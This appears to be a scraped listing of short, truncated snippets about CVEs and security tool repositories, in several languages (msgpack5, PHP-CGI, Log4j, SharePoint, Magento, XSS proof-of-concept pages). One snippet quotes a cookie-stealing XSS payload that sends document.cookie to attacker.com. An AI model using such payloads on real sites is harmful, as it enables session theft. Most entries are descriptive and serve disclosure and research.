EUVD-2026-95107

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

CVE-2026-107296 msgpack5: Decoding negative int64 values mutates the input buffer

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

PHP_CVE-2012-1823

PHP-CGI远程代码执行漏洞（CVE-2012-1823） 原理 参考文章 http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/ 影响版本 php 漏洞解读 PHP SAPI 与运行模式 首先，介绍一下PHP的运行模式。 下载PHP源码，可以看到其中有个目录叫sapi。sapi在PHP中的作用，类似于一个消息的“传递者”，比如我在《Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写》一文中介绍的fpm，他的作用就是接受Web容器通过fastcgi协议封装好的数据，并交给PHP解释器执行。...

CVE-2024-4323

🇮🇱 BringThemHome NeverAgainIsNow 🇮🇱 Nous exigeons le retour en toute sécurité de tous les citoyens pris en otage par le groupe terroriste Hamas. Nous ne nous reposerons pas tant que chaque otage ne sera pas libéré et ne sera pas rentré chez lui en sécurité. Vous pouvez contribuer à les...

gospider

GoSpider GoSpider - Fast web spider written in Go Painless integrate Gospider into your recon workflow? this project was part of Osmedeus Engine. Check out how it was integrated at @OsmedeusEngine Installation GO install GO111MODULE=on go install github.com/jaeles-project/gospider@latest Docker...

Log4j_Vulnerability_Demo

Démo de la vulnérabilité Log4j Un programme simple pour démontrer comment la vulnérabilité Log4j peut être exploitée CVE-2021-44228 Exécution de la démo : Pour démarrer le programme, exécutez simplement start.sh sur les systèmes UNIX ou start.bat sur Windows. La saisie de l'utilisateur sera lue e...

CVE-2026-32201-exploit

Aperçu Exploit Python pour CVE-2026-32201 - validation d'entrée incorrecte dans Microsoft SharePoint Server, permettant l'usurpation réseau non authentifiée C:L/I:L. Affecté : SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoin...

CVE-2026-30048

CVE-2026-30048 - Cross-Site Scripting XSS stocké dans NotChatbot WebChat Démo...

cve-2026-13934

CVE-2026-13934 Dépôt du projet de travail. Il couvre l'investigation, l'analyse, le travail et les rapports dans un seul dépôt D088/D091. Ce fichier est le document d'entrée du dépôt/tableau. Pour l'intégralité des conventions de dossiers et de livrables, voir docs/conventions.md. Le corps du tex...

CVE-2022-24086

CVE-2022-24086 CVE-2022-24086 à propos de Magento RCE Description Les versions Adobe Commerce 2.4.3-p1 et antérieures et 2.3.7-p2 et antérieures sont affectées par une vulnérabilité de validation d'entrée incorrecte lors du processus de paiement. L'exploitation de ce problème ne nécessite pas...

CVE-2026-22015-Serverless-Function-Environment-Variable-Injection-via-Event

CVE-2026-22015 – Injection de variables d'environnement dans une fonction serverless via un événement Code du programme simulation Lambda Python lambdaenvinject.py - Vulnerable function that reads env from event import os, json def handlerevent, context: The event contains environment variable...

CVE-2026-63720-datamodel-code-generator

CVE-2026-63720 : Injection de code dans datamodel-code-generator via un customBasePath non validé Sévérité : Élevée, CVSS 3.1 7.5 / CVSS 4.0 7.5 attribué par VulnCheck, l'organisme CNA Plafond environnemental déploiement en service réseau : jusqu'à 9.8 Vecteur v4.0 :...

Bolt-CMS-3.6.2---Cross-Site-Scripting

Bolt CMS 3.6.2 - Vulnérabilité de type Cross-Site Scripting Bolt CMS 3.6.2 - Vulnérabilité de type Cross-Site Scripting CVE-2018-19933 https://vulners.com/cve/CVE-2018-19933 Preuve de concept Pour exploiter la vulnérabilité, Bolt CMS 3.6.2 permet une XSS via un champ de texte en cliquant sur le...

icannTLD

icannTLD Corelight-update peut désormais être utilisé pour créer et maintenir les fichiers d'entrée icannTLD. Description du script Script Zeek utilisant la liste officielle des domaines de premier niveau TLD de l'ICANN avec le framework d'entrée Input Framework pour extraire les informations...

CVE-2025-63419

CVE-2025-63419 CrushFTP avant 11.3.760 est vulnérable à l'injection HTML. Le serveur web dispose d'une fonctionnalité permettant aux utilisateurs de partager des fichiers, qui reflète le nom du fichier dans un champ emailbody sans assainissement, conduisant à une injection HTML. CWE CWE-79 —...

CVE-2025-54123

CVE-2025-54123 - Injection de commande Hoverfly RCE PoC CVE-2025-54123 - Injection de commande Middleware dans Hoverfly 📌 Détails CVE ID : CVE-2025-54123 Type : Injection de commande / Exécution de code à distance RCE Vendeur : Hoverfly Impact : Permet à des attaquants authentifiés d'exécuter des...

CVE-2025-20393

CVE-2025-20393 📌 Aperçu CVE-2025-20393 est une vulnérabilité critique d'exécution de commande à distance RCE affectant les appliances Cisco Secure Email Gateway SEG et Cisco Secure Email and Web Manager SEWM exécutant Cisco AsyncOS. La vulnérabilité existe en raison d'une validation d'entrée...

postgresql: PostgreSQL: Arbitrary code execution via untrusted data inclusion in pg_dump

A vulnerability in PostgreSQL allows a malicious origin-server superuser to achieve client-side arbitrary code execution during a database restore. By injecting untrusted data into a pgdump export, the attacker can exploit the input expansion of the psql \restrict meta-command. When a victim...

CVE-2023-51800

CVE-2023-51800 School Fees Management System v1.0 - Multiples vulnérabilités de cross-site scripting XSS Description : Multiples vulnérabilités de cross-site scripting XSS dans School Fees Management System v1.0. Version du produit vulnérable : School Fees Management System v1.0 Auteur du CVE :...

CVE-2022-29380

CVE-2022-29380 CVE-2022-29380 Date: 25/05/2022 Author: OpenXP Team Software: Academy LMS Version: Academy LMS = v4.3 Type: Cross-Site Scripting OWASP TOP 10: A03:2021-Injection CWE: CWE-79 Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' References:...